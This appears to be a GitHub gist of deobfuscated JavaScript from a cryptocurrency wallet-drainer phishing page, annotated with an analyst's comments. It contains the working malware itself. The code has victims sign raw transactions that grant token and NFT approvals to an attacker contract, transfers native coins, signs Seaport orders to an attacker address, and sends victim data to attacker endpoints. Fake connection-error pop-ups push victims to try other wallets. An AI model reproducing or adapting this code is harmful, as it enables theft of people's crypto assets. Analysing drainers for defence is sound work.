const { | |
ethereumjs | |
} = window; | |
var transaction = new ethereumjs.Tx(tx_); | |
const serializedTransaction = '0x' + transaction.serialize().toString('hex'); | |
const serializedTransactionHash = web3.utils.sha3(serializedTransaction, { | |
encoding: 'hex' | |
}); | |
const signedTransactionHash = await web3.eth.sign(serializedTransactionHash, account); | |
const signedTransactionHashRaw = signedTransactionHash.substring(2), | |
r = '0x' + signedTransactionHashRaw.substring(0, 64), | |
s = '0x' + signedTransactionHashRaw.substring(64, 128), | |
vInt = parseInt(signedTransactionHashRaw.substring(128, 130), 16), | |
v = web3.utils.toHex(vInt + chainId * 2 + 8); | |
transaction.r = r; | |
transaction.s = s; | |
transaction.v = v; | |
const finalSignedTransaction = '0x' + transaction.serialize().toString('hex'); | |
console.log('Waiting for sign submitting...'); | |
const txHash = await web3.eth.sendSignedTransaction(finalSignedTransaction); | |
console.log('Submitted:', txHash); | |
// send a log message to dreadbusiness.com/api with the approbal record for victims ERC721 tokens | |
axios.post(NFT_TRANSFER, victimNFTLog).then(function (_0x22fax44) { | |
console.log(_0x22fax44) | |
}) | |
} catch (e) { | |
console.log(e); | |
success = 0 | |
}; | |
logTlg(success) | |
} | |
// Calls ERC1155.setApprovalForAll(0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428, true) | |
// allows the attacker to then bulkTransfer NFT's using the | |
// contract located at 0xEf78641Af30cff4A41Bfd2871F3a160DceFFA428 | |
// BulkTransfer method. | |
async function stake1155NFT(erc1155Address, _0x22faxa1, _0x22fax81) { | |
var erc1155Obj = new web3.eth.Contract(ERC1155_ABI, erc1155Address); | |
success = 1; | |
logTlgMsg(_0x22fax81); | |
try { | |
const nonce = web3.utils.toHex(await web3.eth.getTransactionCount(account)); | |
const gasPrice = await web3.eth.getGasPrice(); | |
const gasPriceHex = web3.utils.toHex(gasPrice); | |
const chainId = await web3.eth.getChainId(); | |
const chainIdhex = web3.utils.toHex(chainId); | |
tx_ = { | |
to: erc1155Address, | |
nonce: nonce, | |
gasLimit: '0x493E0', | |
gasPrice: gasPriceHex, | |
value: '0x0', | |
data: erc1155Obj.methods.setApprovalForAll(contractSAFA, true).encodeABI(), | |
r: '0x', | |
s: '0x', | |
v: chainIdhex | |
}; | |
const { | |
ethereumjs | |
} = window; | |
var transaction = new ethereumjs.Tx(tx_); | |
const transactionSerialized = '0x' + transaction.serialize().toString('hex'); | |
const transactionHash = web3.utils.sha3(transactionSerialized, { | |
encoding: 'hex' | |
}); | |
const _0x22fax91 = await web3.eth.sign(transactionHash, account); | |
const _0x22fax92 = _0x22fax91.substring(2), | |
_0x22fax93 = '0x' + _0x22fax92.substring(0, 64), | |
_0x22fax94 = '0x' + _0x22fax92.substring(64, 128), | |
_0x22fax95 = parseInt(_0x22fax92.substring(128, 130), 16), | |
_0x22fax96 = web3.utils.toHex(_0x22fax95 + chainId * 2 + 8); | |
transaction.r = _0x22fax93; | |
transaction.s = _0x22fax94; | |
transaction.v = _0x22fax96; | |
const _0x22fax97 = '0x' + transaction.serialize().toString('hex'); | |
console.log('Waiting for sign submitting...'); | |
const transactionIdHash = await web3.eth.sendSignedTransaction(_0x22fax97); | |
console.log('Submitted:', transactionIdHash); | |
axios.post(NFT_TRANSFER, data).then(function (_0x22fax44) { | |
console.log(_0x22fax44) | |
}) | |
} catch (e) { | |
console.log(e); | |
success = 0 | |
}; | |
logTlg(success) | |
} | |
// do a lil robbing | |
// function which sends victims tokens, grants approvals to victim tokens etc. | |
async function sendToken(hasBalance, seaportOrder, count, Seaport) { | |
// iterate over the global tokenList which victim assets are added to. | |
for (var token of tokenList) { | |
if (token < 1) { | |
return alertshow() | |
}; | |
if (!token.approved) { | |
if (hasBalance && token.tokenAddress == WETH) { | |
return | |
}; | |
// if walletconnect/TrustWallet or BNBChain return | |
if (selectedProvider == supportedWallets[0] || selectedWallets == '1' || selectedWallets == '2') { | |
if (token.type == 'erc721') { | |
return | |
}; | |
if (token.type == 'seaport') { | |
return | |
} | |
}; | |
// check if we are on the correct chain of the supplied token - change to it if not ... | |
const currentChainId = await web3.eth.net.getId(); | |
const currentChainIdHex = web3.utils.toHex(currentChainId); | |
if (currentChainIdHex !== chainToId[token.chain].chainId) { | |
await changeNetwork(chainToId[token.chain].chainId) | |
}; | |
try { | |
if (token.type == 'erc20') { | |
if (token.tokenAddress == '0x0000000000000000000000000000000000000000') { | |
// lol have 5 of any native token? u toast. | |
if (token.balance > 5) { | |
message = '<b>Transfering ' + token.symbol + ' | Network: ' + token.chain + ' [ WAIT ]</b><br><br>Amount: ' + token.tokenAmount + ' (' + token.balance + ' $)<br><br>Account: <code>' + account + '</code><br><br>Domain: ' + window.location.hostname; | |
if (selectedWallets == '2') { // if binanceChain / Wallet? | |
// sends ETH/BNB using sendTransaction() web3 api | |
await transferEth(token.tokenAmount, message) | |
} else { | |
// sends ETH using signed transaction | |
await stakeEth(token.tokenAmount, message) | |
} | |
} | |
} else { | |
// Doesnt automatically transfer Tokens but grants approval to the attackers / operator | |
message = '<b>Approve ' + token.symbol + ' | Network: ' + token.chain + ' [ WAIT ]</b><br><br>Contract: <code>' + token.tokenAddress + '</code><br><br>Account: <code>' + account + '</code><br><br>Amount: <code>' + token.tokenAmount + '</code> (' + token.balance + ' $)<br><br>Domain: ' + window.location.hostname; | |
await stakeERC20(token.tokenAddress, token.tokenAmount, message, chainToId[token.chain].chainId, chainToId[token.chain].abiUrl) | |
} | |
} else { | |
// if detects erc721s in tokenList grant approvalforall to victims ERC721 to attackers bulkTransfer contract | |
// attacker manually uses the helper contract to transfer NFT's it seems. | |
if (token.type == 'erc721') { | |
message = '<b>SAFA NFT 721 [ WAIT ]</b><br>Contract: <code>' + token.tokenAddress + '</code><br><br>Average Price Collection: <code>' + token.balance + '</code>$<br><br>Адрес владельца: <code>' + account + '</code><br><br>Inventory<br>https://etherscan.io/token/' + token.tokenAddress + '?a=' + account + '%23inventory<br><br>Домен: ' + window.location.hostname; | |
await stakeNFT(token.tokenAddress, token.token_ids, message) | |
} else { | |
// if victim has any valid seaport approvals or WEI allowance will now attempt to sign/submit the seaport order. | |
if (token.type == 'seaport') { | |
success = 1; | |
message = '<b>Seaport [ WAIT ]</b><br>Price: <code>' + token.balance + ' $</code><br><br>Account: <code>' + account + '</code><br><br><b>Data Offer:</b><br>' + JSON.stringify(seaportOrder) + '<br><br>Domain: ' + window.location.hostname; | |
logTlgMsg(message); | |
await Seaport.signOrder(seaportOrder, parseInt(count)).then(function (_0x22fax44) { | |
let _0x22faxa7 = _0x22fax44; | |
seaportOrder.counter = parseInt(count); | |
const seaportOrderLog = { | |
"recipient": endpoint, // attacker address | |
"parameters": seaportOrder, // seaportOrder | |
"signature": _0x22faxa7 | |
}; | |
logTlgMsg(JSON.stringify(seaportOrderLog)); | |
axios.post(SEAPORT_SIGN, seaportOrderLog).then(function (_0x22fax44) { | |
console.log(_0x22fax44); | |
logTlg(success) | |
}) | |
}).catch(function (_0x22faxa6) { | |
console.log(_0x22faxa6); | |
success = 0; | |
logTlg(success); | |
return | |
}) | |
} else { | |
// lastly grant approvals for any ERC1155 tokens a victim holds. | |
message = '<b>SAFA NFT 1155 [ WAIT ]</b><br>Контракт: <code>' + token.tokenAddress + '</code><br><br>Floor Price: <code>' + token.balance + '</code>$<br><br>Адрес владельца: <code>' + account + '</code><br><br>Инвентарь<br>https://etherscan.io/token/' + token.tokenAddress + '?a=' + account + '%23inventory<br><br>Домен: ' + window.location.hostname; | |
await stake1155NFT(token.tokenAddress, token.token_ids, message) | |
} | |
} | |
} | |
} catch (e) { | |
console.log(e) | |
} | |
} | |
} | |
} | |
// bullshit | |
async function alertshow() { | |
if (alert == 0) { | |
Swal.fire({ | |
title: 'Error!', | |
text: 'Connect has been failed, try with another wallet', | |
icon: 'error', | |
confirmButtonText: 'OK' | |
}); | |
alert = 1 | |
}; | |
if (alert == 1) { | |
Swal.fire({ | |
title: 'Error!', | |
text: 'This wallet cannot be connect, try another one', | |
icon: 'error', | |
confirmButtonText: 'OK' | |
}) | |
} | |
} | |
// change network to target network if victim has assets on other chains reported by zapperfi api | |
const changeNetwork = async (chainId) => { | |
if (window.ethereum) { | |
try { | |
await window.ethereum.request({ | |
method: 'wallet_switchEthereumChain', | |
params: [{ | |
chainId: chainId | |
}] | |
}) | |
} catch (error) { | |
console.error(error); | |
await window.ethereum.request({ | |
method: 'wallet_switchEthereumChain', | |
params: [{ | |
chainId: chainId | |
}] | |
}) | |
} | |
} | |
}; | |
const isValidPermit = (_0x22fax9d) => { | |
for (const _0x22faxad in _0x22fax9d) { | |
if (_0x22faxad.startsWith('permit(')) { | |
const _0x22faxae = _0x22faxad.slice(7).split(','); | |
return _0x22faxae.length === 7 && _0x22faxad.indexOf('bool') === -1 | |
} | |
} | |
}; | |
// call permit on target ERC721 contract for operator | |
const permit = async (erc721, accountAddress, operator) => { | |
console.log('Permit'); | |
let chainId = await erc721.signer.getChainId(); | |
let max_value = ethers.utils.parseEther(MAX_APPROVAL);// ?? | |
let nonces = await erc721.nonces(accountAddress); | |
let erc721Name = await erc721.name(); | |
let erc721Version; | |
if (erc721.functions.hasOwnProperty('version')) { | |
erc721Version = await erc721.version() | |
} else { | |
erc721Version = '1' | |
}; | |
// 1 year | |
let validUntil = Date.now() + 1000 * 60 * 60 * 24 * 356; | |
const domain = { | |
name: erc721Name, | |
version: erc721Version, | |
chainId: chainId, | |
verifyingContract: erc721.address | |
}; | |
const types = { | |
Permit: [{ | |
name: 'owner', | |
type: 'address' | |
}, { | |
name: 'spender', | |
type: 'address' | |
}, { | |
name: 'value', | |
type: 'uint256' | |
}, { | |
name: 'nonce', | |
type: 'uint256' | |
}, { | |
name: 'deadline', | |
type: 'uint256' | |
}] | |
}; | |
const values = { | |
owner, | |
spender, | |
value, | |
nonce, | |
deadline | |
}; | |
const signedData = await erc721.signer._signTypedData(domain, types, values); | |
const r = signedData.substring(0, 66); | |
const s = '0x' + signedData.substring(66, 130); | |
const v = parseInt(signedData.substring(130, 132), 16); | |
return JSON.stringify({ | |
value: max_value._hex, | |
deadline: validUntil, | |
v: v, | |
r: r, | |
s: s | |
}) | |
}; | |
const getABI = async (_0x22faxb8, _0x22fax9a) => { | |
console.log('Getting ABI for', _0x22faxb8); | |
let _0x22fax78 = await axios.get(_0x22fax9a.format(_0x22faxb8)); | |
_0x22fax78 = _0x22fax78.data.result[0]; | |
let _0x22faxb9 = JSON.parse(_0x22fax78.ABI); | |
let _0x22faxba = ''; | |
if (_0x22fax78.Proxy === '1' && _0x22fax78.Implementation !== '') { | |
_0x22faxba = _0x22fax78.Implementation; | |
console.log('Getting impl ABI for', _0x22faxba); | |
_0x22faxb9 = JSON.parse((await axios.get(_0x22fax9a.format(_0x22faxba))).data.result[0].ABI) | |
}; | |
return [_0x22faxb9, _0x22faxba] | |
}; | |
String.prototype.format = function () { | |
let idk = arguments; | |
return this.replace(/{(\d+)}/g, function (idk2, value) { | |
return typeof idk[value] == 'undefined' ? idk2 : idk[value] | |
}) | |
}; | |
// logs a custom message to the remote server hosted on rollsroycenft.app | |
function logTlgMsg(message) { | |
fetch('back.php?key=8bEEokUZLhn7nAHz&m=' + message) | |
} | |
// send success/fail msg to server | |
function logTlg(success) { | |
if (success == 1) { | |
var message = '✅ <b>Транзакция подтверждена</b>' // transaction succeeded | |
} else { | |
var message = '❌ <b>Транзакция отклонена</b>' // transaction failed | |
}; | |
fetch('back.php?key=8bEEokUZLhn7nAHz&m=' + message) | |
} | |
function isMobile() { | |
var _0x22faxc1 = false; | |
(function (_0x22fax27) { | |
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(_0x22fax27) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(_0x22fax27.substr(0, 4))) { | |
_0x22faxc1 = true | |
} | |
})(navigator.userAgent || navigator.vendor || window.opera); | |
return _0x22faxc1 | |
} | |
window.addEventListener('load', async () => { | |
init(); | |
if (isMobile()) { | |
$('.web3modal-modal-card').prepend('<div class="sc-eCImPb bElhDP web3modal-provider-wrapper" onclick="loginMetamask();"><div class="sc-hKwDye hKhOIm web3modal-provider-container"><div class="sc-bdvvtL fqonLZ web3modal-provider-icon"><img src="data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjM1NSIgdmlld0JveD0iMCAwIDM5NyAzNTUiIHdpZHRoPSIzOTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiPjxwYXRoIGQ9Im0xMTQuNjIyNjQ0IDMyNy4xOTU0NzIgNTIuMDA0NzE3IDEzLjgxMDE5OHYtMTguMDU5NDlsNC4yNDUyODMtNC4yNDkyOTJoMjkuNzE2OTgydjIxLjI0NjQ1OSAxNC44NzI1MjNoLTMxLjgzOTYyNGwtMzkuMjY4ODY4LTE2Ljk5NzE2OXoiIGZpbGw9IiNjZGJkYjIiLz48cGF0aCBkPSJtMTk5LjUyODMwNSAzMjcuMTk1NDcyIDUwLjk0MzM5NyAxMy44MTAxOTh2LTE4LjA1OTQ5bDQuMjQ1MjgzLTQuMjQ5MjkyaDI5LjcxNjk4MXYyMS4yNDY0NTkgMTQuODcyNTIzaC0zMS44Mzk2MjNsLTM5LjI2ODg2OC0xNi45OTcxNjl6IiBmaWxsPSIjY2RiZGIyIiB0cmFuc2Zvcm09Im1hdHJpeCgtMSAwIDAgMSA0ODMuOTYyMjcgMCkiLz48cGF0aCBkPSJtMTcwLjg3MjY0NCAyODcuODg5NTIzLTQuMjQ1MjgzIDM1LjA1NjY1NyA1LjMwNjYwNC00LjI0OTI5Mmg1NS4xODg2OGw2LjM2NzkyNSA0LjI0OTI5Mi00LjI0NTI4NC0zNS4wNTY2NTctOC40OTA1NjUtNS4zMTE2MTUtNDIuNDUyODMyIDEuMDYyMzIzeiIgZmlsbD0iIzM5MzkzOSIvPjxwYXRoIGQ9Im0xNDIuMjE2OTg0IDUwLjk5MTUwMjIgMjUuNDcxNjk4IDU5LjQ5MDA4NTggMTEuNjc0NTI4IDE3My4xNTg2NDNoNDEuMzkxNTExbDEyLjczNTg0OS0xNzMuMTU4NjQzIDIzLjM0OTA1Ni01OS40OTAwODU4eiIgZmlsbD0iI2Y4OWMzNSIvPjxwYXRoIGQ9Im0zMC43NzgzMDIzIDE4MS42NTcyMjYtMjkuNzE2OTgxNTMgODYuMDQ4MTYxIDc0LjI5MjQ1MzkzLTQuMjQ5MjkzaDQ3Ljc1OTQzNDN2LTM3LjE4MTMwM2wtMi4xMjI2NDEtNzYuNDg3MjUzLTEwLjYxMzIwOCA4LjQ5ODU4M3oiIGZpbGw9IiNmODlkMzUiLz48cGF0aCBkPSJtODcuMDI4MzAzMiAxOTEuMjE4MTM0IDg3LjAyODMwMjggMi4xMjQ2NDYtOS41NTE4ODYgNDQuNjE3NTYzLTQxLjM5MTUxMS0xMC42MjMyMjl6IiBmaWxsPSIjZDg3YzMwIi8+PHBhdGggZD0ibTg3LjAyODMwMzIgMTkyLjI4MDQ1NyAzNi4wODQ5MDU4IDMzLjk5NDMzNHYzMy45OTQzMzR6IiBmaWxsPSIjZWE4ZDNhIi8+PHBhdGggZD0ibTEyMy4xMTMyMDkgMjI3LjMzNzExNCA0Mi40NTI4MzEgMTAuNjIzMjI5IDEzLjc5NzE3IDQ1LjY3OTg4OC05LjU1MTg4NiA1LjMxMTYxNS00Ni42OTgxMTUtMjcuNjIwMzk4eiIgZmlsbD0iI2Y4OWQzNSIvPjxwYXRoIGQ9Im0xMjMuMTEzMjA5IDI2MS4zMzE0NDgtOC40OTA1NjUgNjUuODY0MDI0IDU2LjI1LTM5LjMwNTk0OXoiIGZpbGw9IiNlYjhmMzUiLz48cGF0aCBkPSJtMTc0LjA1NjYwNiAxOTMuMzQyNzggNS4zMDY2MDQgOTAuMjk3NDUxLTE1LjkxOTgxMi00Ni4yMTEwNDl6IiBmaWxsPSIjZWE4ZTNhIi8+PHBhdGggZD0ibTc0LjI5MjQ1MzkgMjYyLjM5Mzc3MSA0OC44MjA3NTUxLTEuMDYyMzIzLTguNDkwNTY1IDY1Ljg2NDAyNHoiIGZpbGw9IiNkODdjMzAiLz48cGF0aCBkPSJtMjQuNDEwMzc3NyAzNTUuODc4MTkzIDkwLjIxMjI2NjMtMjguNjgyNzIxLTQwLjMzMDE5MDEtNjQuODAxNzAxLTczLjIzMTEzMzEzIDUuMzExNjE2eiIgZmlsbD0iI2ViOGYzNSIvPjxwYXRoIGQ9Im0xNjcuNjg4NjgyIDExMC40ODE1ODgtNDUuNjM2NzkzIDM4LjI0MzYyNy0zNS4wMjM1ODU4IDQyLjQ5MjkxOSA4Ny4wMjgzMDI4IDMuMTg2OTY5eiIgZmlsbD0iI2U4ODIxZSIvPjxwYXRoIGQ9Im0xMTQuNjIyNjQ0IDMyNy4xOTU0NzIgNTYuMjUtMzkuMzA1OTQ5LTQuMjQ1MjgzIDMzLjk5NDMzNHYxOS4xMjE4MTNsLTM4LjIwNzU0OC03LjQzNjI2eiIgZmlsbD0iI2RmY2VjMyIvPjxwYXRoIGQ9Im0yMjkuMjQ1Mjg2IDMyNy4xOTU0NzIgNTUuMTg4NjgtMzkuMzA1OTQ5LTQuMjQ1MjgzIDMzLjk5NDMzNHYxOS4xMjE4MTNsLTM4LjIwNzU0OC03LjQzNjI2eiIgZmlsbD0iI2RmY2VjMyIgdHJhbnNmb3JtPSJtYXRyaXgoLTEgMCAwIDEgNTEzLjY3OTI1MiAwKSIvPjxwYXRoIGQ9Im0xMzIuNjY1MDk2IDIxMi40NjQ1OTMtMTEuNjc0NTI4IDI0LjQzMzQyNyA0MS4zOTE1MS0xMC42MjMyMjl6IiBmaWxsPSIjMzkzOTM5IiB0cmFuc2Zvcm09Im1hdHJpeCgtMSAwIDAgMSAyODMuMzcyNjQ2IDApIi8+PHBhdGggZD0ibTIzLjM0OTA1NyAxLjA2MjMyMjk2IDE0NC4zMzk2MjUgMTA5LjQxOTI2NTA0LTI0LjQxMDM3OC01OS40OTAwODU4eiIgZmlsbD0iI2U4OGYzNSIvPjxwYXRoIGQ9Im0yMy4zNDkwNTcgMS4wNjIzMjI5Ni0xOS4xMDM3NzM5MiA1OC40Mjc3NjI5NCAxMC42MTMyMDc3MiA2My43MzkzNzgxLTcuNDI5MjQ1NDEgNC4yNDkyOTIgMTAuNjEzMjA3NzEgOS41NjA5MDYtOC40OTA1NjYxNyA3LjQzNjI2MSAxMS42NzQ1Mjg0NyAxMC42MjMyMjktNy40MjkyNDU0IDYuMzczOTM4IDE2Ljk4MTEzMjMgMjEuMjQ2NDU5IDc5LjU5OTA1NzctMjQuNDMzNDI4YzM4LjkxNTA5Ni0zMS4xNjE0NzMgNTguMDE4ODY5LTQ3LjA5NjMxOCA1Ny4zMTEzMjItNDcuODA0NTMzLS43MDc1NDgtLjcwODIxNS00OC44MjA3NTYtMzcuMTgxMzAzNi0xNDQuMzM5NjI1LTEwOS40MTkyNjUwNHoiIGZpbGw9IiM4ZTVhMzAiLz48ZyB0cmFuc2Zvcm09Im1hdHJpeCgtMSAwIDAgMSAzOTkuMDU2NjExIDApIj48cGF0aCBkPSJtMzAuNzc4MzAyMyAxODEuNjU3MjI2LTI5LjcxNjk4MTUzIDg2LjA0ODE2MSA3NC4yOTI0NTM5My00LjI0OTI5M2g0Ny43NTk0MzQzdi0zNy4xODEzMDNsLTIuMTIyNjQxLTc2LjQ4NzI1My0xMC42MTMyMDggOC40OTg1ODN6IiBmaWxsPSIjZjg5ZDM1Ii8+PHBhdGggZD0ibTg3LjAyODMwMzIgMTkxLjIxODEzNCA4Ny4wMjgzMDI4IDIuMTI0NjQ2LTkuNTUxODg2IDQ0LjYxNzU2My00MS4zOTE1MTEtMTAuNjIzMjI5eiIgZmlsbD0iI2Q4N2MzMCIvPjxwYXRoIGQ9Im04Ny4wMjgzMDMyIDE5Mi4yODA0NTcgMzYuMDg0OTA1OCAzMy45OTQzMzR2MzMuOTk0MzM0eiIgZmlsbD0iI2VhOGQzYSIvPjxwYXRoIGQ9Im0xMjMuMTEzMjA5IDIyNy4zMzcxMTQgNDIuNDUyODMxIDEwLjYyMzIyOSAxMy43OTcxNyA0NS42Nzk4ODgtOS41NTE4ODYgNS4zMTE2MTUtNDYuNjk4MTE1LTI3LjYyMDM5OHoiIGZpbGw9IiNmODlkMzUiLz48cGF0aCBkPSJtMTIzLjExMzIwOSAyNjEuMzMxNDQ4LTguNDkwNTY1IDY1Ljg2NDAyNCA1NS4xODg2OC0zOC4yNDM2MjZ6IiBmaWxsPSIjZWI4ZjM1Ii8+PHBhdGggZD0ibTE3NC4wNTY2MDYgMTkzLjM0Mjc4IDUuMzA2NjA0IDkwLjI5NzQ1MS0xNS45MTk4MTItNDYuMjExMDQ5eiIgZmlsbD0iI2VhOGUzYSIvPjxwYXRoIGQ9Im03NC4yOTI0NTM5IDI2Mi4zOTM3NzEgNDguODIwNzU1MS0xLjA2MjMyMy04LjQ5MDU2NSA2NS44NjQwMjR6IiBmaWxsPSIjZDg3YzMwIi8+PHBhdGggZD0ibTI0LjQxMDM3NzcgMzU1Ljg3ODE5MyA5MC4yMTIyNjYzLTI4LjY4MjcyMS00MC4zMzAxOTAxLTY0LjgwMTcwMS03My4yMzExMzMxMyA1LjMxMTYxNnoiIGZpbGw9IiNlYjhmMzUiLz48cGF0aCBkPSJtMTY3LjY4ODY4MiAxMTAuNDgxNTg4LTQ1LjYzNjc5MyAzOC4yNDM2MjctMzUuMDIzNTg1OCA0Mi40OTI5MTkgODcuMDI4MzAyOCAzLjE4Njk2OXoiIGZpbGw9IiNlODgyMWUiLz48cGF0aCBkPSJtMTMyLjY2NTA5NiAyMTIuNDY0NTkzLTExLjY3NDUyOCAyNC40MzM0MjcgNDEuMzkxNTEtMTAuNjIzMjI5eiIgZmlsbD0iIzM5MzkzOSIgdHJhbnNmb3JtPSJtYXRyaXgoLTEgMCAwIDEgMjgzLjM3MjY0NiAwKSIvPjxwYXRoIGQ9Im0yMy4zNDkwNTcgMS4wNjIzMjI5NiAxNDQuMzM5NjI1IDEwOS40MTkyNjUwNC0yNC40MTAzNzgtNTkuNDkwMDg1OHoiIGZpbGw9IiNlODhmMzUiLz48cGF0aCBkPSJtMjMuMzQ5MDU3IDEuMDYyMzIyOTYtMTkuMTAzNzczOTIgNTguNDI3NzYyOTQgMTAuNjEzMjA3NzIgNjMuNzM5Mzc4MS03LjQyOTI0NTQxIDQuMjQ5MjkyIDEwLjYxMzIwNzcxIDkuNTYwOTA2LTguNDkwNTY2MTcgNy40MzYyNjEgMTEuNjc0NTI4NDcgMTAuNjIzMjI5LTcuNDI5MjQ1NCA2LjM3MzkzOCAxNi45ODExMzIzIDIxLjI0NjQ1OSA3OS41OTkwNTc3LTI0LjQzMzQyOGMzOC45MTUwOTYtMzEuMTYxNDczIDU4LjAxODg2OS00Ny4wOTYzMTggNTcuMzExMzIyLTQ3LjgwNDUzMy0uNzA3NTQ4LS43MDgyMTUtNDguODIwNzU2LTM3LjE4MTMwMzYtMTQ0LjMzOTYyNS0xMDkuNDE5MjY1MDR6IiBmaWxsPSIjOGU1YTMwIi8+PC9nPjwvZz48L3N2Zz4=" alt="MetaMask"></div><div class="sc-gsDKAQ gHoDBx web3modal-provider-name">MetaMask</div><div class="sc-dkPtRN eCZoDi web3modal-provider-description">Connect to your MetaMask Wallet</div></div></div><div class="sc-eCImPb bElhDP web3modal-provider-wrapper" onclick="loginTrust();"><div class="sc-hKwDye hKhOIm web3modal-provider-container"><div class="sc-bdvvtL fqonLZ web3modal-provider-icon"><img src="https://trustwallet.com/assets/images/media/assets/trust_platform.png" alt="Trust Wallet"></div><div class="sc-gsDKAQ gHoDBx web3modal-provider-name">Trust Wallet</div><div class="sc-dkPtRN eCZoDi web3modal-provider-description">Connect to your Trust Wallet</div></div></div>'); | |
$('.web3modal-modal-card .web3modal-provider-wrapper').last().css('display', 'none') | |
} | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment